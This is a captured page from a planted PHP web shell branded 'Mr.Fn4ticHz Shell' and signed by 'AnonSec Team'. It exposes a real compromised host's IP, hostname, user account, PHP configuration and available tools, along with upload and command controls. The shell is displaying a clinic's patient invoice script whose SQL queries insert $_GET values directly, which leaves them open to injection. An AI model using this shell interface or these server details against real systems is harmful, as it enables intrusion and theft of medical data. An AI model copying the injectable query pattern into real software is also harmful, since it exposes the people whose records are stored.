Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.133.130.199
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/www/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/www/login.easenup.in/patient_medicine_invace.php
 <!-- /.card-header -->
              <div class="card-body">
                <table id="example2" class="table table-bordered table-hover">
                  <thead>
                  <tr>
             <th><strong>Date & Time <br>Towards </strong></th>
          <th><strong>Medicine Charges <br>Status</strong></th>
            <th><strong>Assisted by </strong></th>
       <th><strong><section class="content-header">Action</section> </strong></th>             
        </tr>
      
                  </thead>
<?php
include("dbconnection.php");
$sql ="SELECT * FROM addaspatient WHERE patientid='$_GET[patientid]' AND prescriptionid='$_GET[prescriptionid]'";
$qsql = mysqli_query($con,$sql);
while($rs = mysqli_fetch_array($qsql))
{
    
		$qsql7 = mysqli_query($con,$sql7);
	$re7 = mysqli_fetch_array($qsql7);
	$sqlpatient = "SELECT SUM(pricetotal) as `price2`  FROM patient_invace WHERE prescriptionid='$rs[prescriptionid]' AND discription='Medicine_charge'";
	$qsqlpatient = mysqli_query($con,$sqlpatient);
	$rsp = mysqli_fetch_array($qsqlpatient);
	{
	    $sqlpatient2 = "SELECT * FROM patient_invace WHERE prescriptionid='$rs[prescriptionid]' AND discription='Medicine_charge'";
	$qsqlpatient2 = mysqli_query($con,$sqlpatient2);
  if($rsn2 = mysqli_fetch_array($qsqlpatient2))
	{
	$sqlpatient1 = "SELECT * FROM site_users WHERE userno='$rs[entered_by]'";
	$qsqlpatient1 = mysqli_query($con,$sqlpatient1);
	while($rsn = mysqli_fetch_array($qsqlpatient1))
	{
	    $pricedue=$rsp[price2]-$rsn2[collectprice];
            echo " <tbody>
            <tr>   <td>&nbsp;$rsn2[created_at] <br>$rsn2[discription]</td>
              		<td>&nbsp;$pricedue <br> Paid</td>
              		 <td>&nbsp;$rsn[name]</td>
              						<td><section class='content-header'><a href='$rsn2[link]' >View</a> </section></td>
          </tr>                   
          
          ";
}
}
}

}
?>    </tbody>
  <tfoot>
          </tfoot>
        </table>
        <br>
    <a href="#"><h1 Align="center"><i class="fa fa-file-pdf-o" aria-hidden="true"></i> View All </h1></h1></a>
      </div>
      
 

Anon7 - 2022
AnonSec Team